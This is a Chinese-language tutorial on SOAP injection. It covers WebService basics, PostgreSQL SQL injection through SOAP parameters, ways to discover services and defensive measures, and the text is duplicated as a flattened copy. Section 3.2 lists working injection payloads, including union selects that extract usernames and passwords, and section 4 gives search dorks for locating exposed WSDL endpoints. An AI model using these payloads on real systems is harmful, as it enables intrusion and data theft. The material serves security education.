SOAP注入
字数 1062 2025-08-10 08:28:24

SOAP注入攻击全面解析与防御指南

一、SOAP与WebService基础概念

1.1 WebService三要素

  • SOAP:简单对象访问协议,用于分布式环境的信息交换
  • WSDL:Web服务描述语言,XML文档说明SOAP消息如何访问接口
  • UDDI:提供发布和查询WebService方法的目录服务

1.2 SOAP协议版本

  • SOAP 1.1:包含SOAPAction请求头
  • SOAP 1.2:使用Action代替SOAPAction,命名空间和Service定义不同

1.3 SOAP消息结构

<?xml version="1.0"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <!-- 请求头信息 -->
  </soap:Header>
  <soap:Body>
    <!-- 请求和响应信息 -->
    <soap:Fault>
      <!-- 错误信息 -->
    </soap:Fault>
  </soap:Body>
</soap:Envelope>

二、SOAP注入攻击原理

2.1 攻击本质

攻击者通过修改SOAP消息参数,在服务端解析时执行恶意代码,主要类型包括:

  • SQL注入
  • XML注入
  • 代码注入

2.2 典型注入点

重点关注soap:Body部分的可控参数,例如:

<soap:Body>
  <GetServiceCustomer xmlns="http://tempuri.org/">
    <UserID>string</UserID>  <!-- 潜在注入点 -->
    <ServiceType>string</ServiceType>
    <CO_CODE>string</CO_CODE>
  </GetServiceCustomer>
</soap:Body>

三、SOAP SQL注入实战

3.1 漏洞识别方法

  1. 功能分析:数据查询功能最可能存在注入(如GetUser)
  2. WSDL分析:查看asmx?wsdl了解消息结构
  3. 参数测试:字符串类型参数最危险

3.2 PostgreSQL注入示例

3.2.1 基础探测

' or 1=1 -- qwe  # 返回所有数据
' or 1=2 -- qwe  # 返回空数据

3.2.2 确定字段数

' order by 2 -- qwe  # 成功
' order by 3 -- qwe  # 报错

3.2.3 联合查询利用

admin' union select 'aaa','aaa' -- qwe

3.2.4 数据库信息收集

-- 当前数据库
aaa' union select current_database(),'ccc' -- qwe

-- 当前用户
aaa' union select current_user,'ccc' -- qwe

-- 表名查询
aaaa' union select table_name,'ccc' from information_schema.tables limit 1 offset 17 -- qwe

-- 字段名查询
bbb' union select column_name,'ccc' from information_schema.columns where table_name='users' limit 1 offset 0 -- qwe

-- 数据提取
bbb' union select username,password from users limit 1 offset 1 -- qwe

四、SOAP注入发现技术

4.1 初级发现方法

  • 搜索引擎语法
    inurl:asmx?wsdl
    inurl:.php?wsdl 
    inurl:.ashx?wsdl
    
  • 网络空间测绘:FOFA搜索asmx后缀

4.2 高级分析工具

4.2.1 SoapUI使用

  1. File → Create New Project
  2. 输入WSDL地址自动解析
  3. 分析接口参数

4.2.2 Burp Suite WSDler模块

  1. 抓取WSDL访问流量
  2. 右键选择"Parse WSDL"
  3. 结合SQLMap测试(保存请求为txt)

五、防御措施

5.1 输入验证

  • 对所有SOAP参数进行严格类型检查
  • 实施白名单验证机制
  • 使用正则表达式过滤特殊字符

5.2 参数化查询

  • 使用预编译语句(prepared statements)
  • 存储过程代替动态SQL

5.3 安全配置

  • 禁用详细错误信息
  • 限制数据库权限
  • 使用最小特权原则

5.4 其他防护

  • XML Schema验证
  • SOAP消息签名和加密
  • Web应用防火墙(WAF)规则

六、总结

SOAP注入是WebService安全的重要威胁,攻击者通过操纵SOAP消息中的参数实现注入攻击。防御需要从输入验证、安全编码和安全配置多方面入手,同时结合自动化工具进行持续检测。理解SOAP协议结构和WSDL文档分析是发现此类漏洞的关键技能。

SOAP注入攻击全面解析与防御指南 一、SOAP与WebService基础概念 1.1 WebService三要素 SOAP :简单对象访问协议,用于分布式环境的信息交换 WSDL :Web服务描述语言,XML文档说明SOAP消息如何访问接口 UDDI :提供发布和查询WebService方法的目录服务 1.2 SOAP协议版本 SOAP 1.1 :包含SOAPAction请求头 SOAP 1.2 :使用Action代替SOAPAction,命名空间和Service定义不同 1.3 SOAP消息结构 二、SOAP注入攻击原理 2.1 攻击本质 攻击者通过修改SOAP消息参数,在服务端解析时执行恶意代码,主要类型包括: SQL注入 XML注入 代码注入 2.2 典型注入点 重点关注 soap:Body 部分的可控参数,例如: 三、SOAP SQL注入实战 3.1 漏洞识别方法 功能分析 :数据查询功能最可能存在注入(如GetUser) WSDL分析 :查看 asmx?wsdl 了解消息结构 参数测试 :字符串类型参数最危险 3.2 PostgreSQL注入示例 3.2.1 基础探测 3.2.2 确定字段数 3.2.3 联合查询利用 3.2.4 数据库信息收集 四、SOAP注入发现技术 4.1 初级发现方法 搜索引擎语法 : 网络空间测绘 :FOFA搜索 asmx 后缀 4.2 高级分析工具 4.2.1 SoapUI使用 File → Create New Project 输入WSDL地址自动解析 分析接口参数 4.2.2 Burp Suite WSDler模块 抓取WSDL访问流量 右键选择"Parse WSDL" 结合SQLMap测试(保存请求为txt) 五、防御措施 5.1 输入验证 对所有SOAP参数进行严格类型检查 实施白名单验证机制 使用正则表达式过滤特殊字符 5.2 参数化查询 使用预编译语句(prepared statements) 存储过程代替动态SQL 5.3 安全配置 禁用详细错误信息 限制数据库权限 使用最小特权原则 5.4 其他防护 XML Schema验证 SOAP消息签名和加密 Web应用防火墙(WAF)规则 六、总结 SOAP注入是WebService安全的重要威胁,攻击者通过操纵SOAP消息中的参数实现注入攻击。防御需要从输入验证、安全编码和安全配置多方面入手,同时结合自动化工具进行持续检测。理解SOAP协议结构和WSDL文档分析是发现此类漏洞的关键技能。